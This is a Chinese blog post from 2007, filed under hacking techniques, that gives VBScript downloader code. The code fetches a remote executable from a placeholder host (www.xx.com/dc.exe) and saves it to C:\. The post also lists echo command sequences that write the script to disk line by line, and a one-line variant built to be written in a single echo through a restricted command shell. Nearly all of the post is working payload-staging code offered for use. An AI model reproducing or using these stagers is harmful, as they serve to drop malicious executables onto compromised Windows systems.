注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

我的博客

小猪哥

 
 
 

日志

 
 

vbs脚本下载文件方法  

2007-03-14 19:01:28|  分类: 黑客技术 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |

Set xPost = createObject("Microsoft.XMLHTTP")

xPost.Open "GET","http://www.xx.com/dc.exe",0 '下载文件的地址

xPost.Send()

Set sGet = createObject("ADODB.Stream")

sGet.Mode = 3

sGet.Type = 1

sGet.Open()

sGet.Write(xPost.responseBody)

sGet.SaveToFile "c:\dc.exe",2 '保存文件的路径和文件名

把以上代码保存在xx.vbs文件 执行cmd.exe xx.vbs

使用ECHO方法写入

echo Set xPost = createObject("Microsoft.XMLHTTP") >dc.vbs

echo xPost.Open "GET",http://www.xxx.com/dc.exe,0 >>dc.vbs

echo xPost.Send() >>dc.vbs

echo Set sGet = createObject("ADODB.Stream") >>dc.vbs

echo sGet.Mode = 3 >>dc.vbs

echo sGet.Type = 1 >>dc.vbs

echo sGet.Open() >>dc.vbs

echo sGet.Write(xPost.responseBody) >>dc.vbs

echo sGet.SaveToFile "c:\dc.exe",2 >>dc.vbs

===================带参数的WGET.vbs==========

on error resume next

iLocal=LCase(Wscript.Arguments(1))

iRemote=LCase(Wscript.Arguments(0))

Set xPost=createObject("Microsoft.XMLHTTP")

xPost.Open "GET",iRemote,0

xPost.Send()

set sGet=createObject("ADODB.Stream")

sGet.Mode=3

sGet.Type=1

sGet.Open()

sGet.Write xPost.ResponseBody

sGet.SaveToFile iLocal,2

===================带参数的WGET.vbs==========

===================带参数的WGET.vbs==========

echo on

echo on error resume next >dc.vbs

echo iLocal=LCase(Wscript.Arguments(1))>>dc.vbs

echo iRemote=LCase(Wscript.Arguments(0))>>dc.vbs

echo Set xPost=createObject("Microsoft.XMLHTTP")>>dc.vbs

echo xPost.Open "GET",iRemote,0>>dc.vbs

echo xPost.Send()>>dc.vbs

echo set sGet=createObject("ADODB.Stream")>>dc.vbs

echo sGet.Mode=3>>dc.vbs

echo sGet.Type=1>>dc.vbs

echo sGet.Open()>>dc.vbs

echo sGet.Write xPost.ResponseBody>>dc.vbs

echo sGet.SaveToFile iLocal,2>>dc.vbs

echo off

pasue

===================带参数的WGET.vbs==========

1.iget.vbs一次写入

在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写

Set x= createObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = createObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2

这样我们可以一次echo成功,echo版本:

echo Set x= createObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = createObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >iget.vbs

  评论这张
 
阅读(3428)| 评论(0)
推荐 转载

历史上的今天

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2018